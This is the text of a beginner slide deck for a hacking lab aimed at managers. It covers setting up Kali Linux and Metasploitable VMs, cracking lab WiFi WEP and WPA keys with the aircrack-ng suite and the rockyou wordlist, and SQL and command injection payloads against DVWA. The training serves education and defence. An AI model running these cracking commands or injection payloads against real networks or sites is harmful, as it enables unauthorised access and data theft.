What is this training

• This is not a BlackHat Training

• No technical experience needed

• The purpose of this training is to

teach basic attacks and tools to

managers and executives in

decision making roles within the

security realm.

• All the tools and labs are open

source and available online

The Lab

• Everyone will be constructing their own

“hacker lab” within their computer.

• The Lab will consist of two virtual

machines, controlled by VMware

Player:

• Kali Linux: A common attacker

Linux OS

• Metasploitable: A purposefully

vulnerable Linux OS

• This course is designed for Windows,

but 100% possible on Macs and Linux

The Wifi Lab

• SSID: NCC Lab 1

• WPA Password Protected

• BSSID: 00:1F:33:E5:2C:A1

• Password: ?

• SSID: NCC Lab 2

• WEP Protected

• BSSID: 68:7F:74:C4:D8:64

• Password: ?

Setting Up the Lab

Opening the USB

• 3 Files

• Kali Linux VM – 7zipped

• Metasploitable 2 VM – zipped

• VMware Player Windows Installer

VMWare Install

• First, start by running the VMware installer

VMWare Install

• Accept the EULA

VMware install

• No need to install the Enhanced Keyboard Driver

VMware install

• Determine whether you want to give VMware your data

VMware install

Run VMware Player Once Installed

• Once installed, on first run it will ask for a license

Extracting the VMs

Extracting the VMs

• Extract to an easy to locate

address.

• Take note of where you extracted

• Don’t put it on the USB

Installing 7-Zip

Right-click on the 7-Zip installer and click “Run as administrator”

Installing 7-Zip

Enter administrator password and click “Yes”

Installing 7-Zip

Click “Install”

Installing 7-Zip

Installing 7-Zip

Open 7-Zip program and navigate to the folder containing the Kali archive

Installing 7-Zip

Select the Kali Archive and click “Extract”

Installing 7-Zip

Choose an extraction location and click “OK”

Extracting the VMs

Opening the VMs

Configuring the VMs

• This is an important step

for 2 reasons:

1. We need to make sure

that our VMs can talk to

each other.

2. We need to make sure

that we don’t expose our

VMs to the world.

Configuring the VMs

• Verify that the

Network Adapter says

“NAT”

Powering On Metasploitable

Installing VMware Tools

Logging Into Metasploitable

• Default credentials:

• Username: msfadmin

• Password: msfadmin

Logged into Metasploitable

Getting the IP Address

INPUT: ifconfig

• Note the IP Address: we will need it later!

Powering on Kali

• You will go through the

same steps as when you

powered on Metasploitable.

• Click “I copied it”

• Don’t change the keyboard

timeout

• Install VMware tools.

Kali Starting Up

Enable Full Screen

Log into Kali

• Default credentials:

• Username: root

• Password: toor

Kali on Startup

Opening the terminal

• Unlike Windows, the task bar is on the top

• Kali now has the quick start bar on the left

• Click the black terminal icon

Getting Kali’s IP Address

COMMAND: ifconfig

• Note the IP Address: we will need it later!

Wireless Attacks

Connect USB WiFi Adapter to Kali

Plug in the provided USB wireless adapter and click

the “Show devices” icon in the top-right


Mouse over USB icon to display connected USB device


Right-click on USB icon and click “Connect (Disconnect from host)”

Verify Kali Sees the WiFi Adapter

Check the Name of the WiFi Interface

Open a Terminal window and use `ip addr` command to list network interfaces

INPUT: ip addr

Place WiFi Interface Into Monitor Mode

Use `airmon-ng` to place wlan0 interface into “monitor” mode

INPUT: airmon-ng start wlan0

Kill Problematic Processes

Use `airmon-ng` to kill processes which may cause problems with wireless interception

INPUT: airmon-ng check kill

Kill Problematic Processes

Use `airodump-ng` to search for nearby wireless access points

INPUT: airodump-ng wlan0mon

Nearby Wireless Access Points

We see two interesting access points – one with WEP encryption

(NCC Lab 2) and another with WPA encryption (NCC Lab 1)

Cracking WEP

Capturing Wireless Traffic

Use `airodump-ng` to capture traffic to/from the identified WEP-encrypted access point

INPUT: airodump-ng –c 6 –bssid 68:7F:74:C4:D8:64 –ivs

–w Desktop/NCC-Lab-2/NCC-Lab-2_ivs wlan0mon


Actively capturing data to/from the identified WEP-encrypted access point


Using `aircrack-ng` against the captured wireless data

INPUT: aircrack-ng Desktop/NCC-Lab-2/NCC-Lab-2_ivs-01.ivs


`aircrack-ng` has cracked the WEP key used to encrypt data

to/from this wireless access point


`aircrack-ng` has cracked the WEP key used to

encrypt data to/from this wireless access point

Bruteforcing WPA


Use `airodump-ng` to capture traffic to/from the identified WPA-encrypted access point

INPUT: airodump-ng –c 11 –bssid 00:1F:33:E5:2C:A1

–w Desktop/NCC-Lab-1/NCC-Lab-1 wlan0mon


Actively capturing data to/from the identified WPA-encrypted access point


Using `aircrack-ng` against the captured wireless data

INPUT: aircrack-ng -b 00:1F:33:E5:2C:A1 –w /usr/share/wordlists/rockyou.txt

Desktop/NCC-Lab-1/NCC-Lab-1-01.cap


`aircrack-ng` is attempting a brute force attack using the

passwords in the “rockyou” wordlist


`aircrack-ng` has cracked the WPA key used to

encrypt data to/from this wireless access point

Web Application Attacks

Open the Web Browser

• Select the orange Firefox ESR icon

• Can also be selected by going to Applications

Browse to Metasploitable

• Input the IP Address of Metasploitable into the URL Bar

Welcome to DVWA

Turn on Easy Mode

The Reset Button

SQL Injection

• What is it?

• How prevalent is it?

• How much damage can it cause?

SQL Injection

SQL Injection

• Error messages are great resources for Attackers!

SQL Injection

INPUT: ‘ or 1=1+’

SQL Injection

INPUT: ‘ UNION ALL SELECT user,password from users where 1=1+’

Command Injection

• What is it?



• Similar to SQL Injection, but instead of injecting into SQL Database,

we are injecting into a command request by the web application server.

Command Injection

INPUT: 8.8.8.8

Command Injection

Command Injection

INPUT: 8.8.8.8; ls

Command Injection

INPUT: 8.8.8.8; whoami
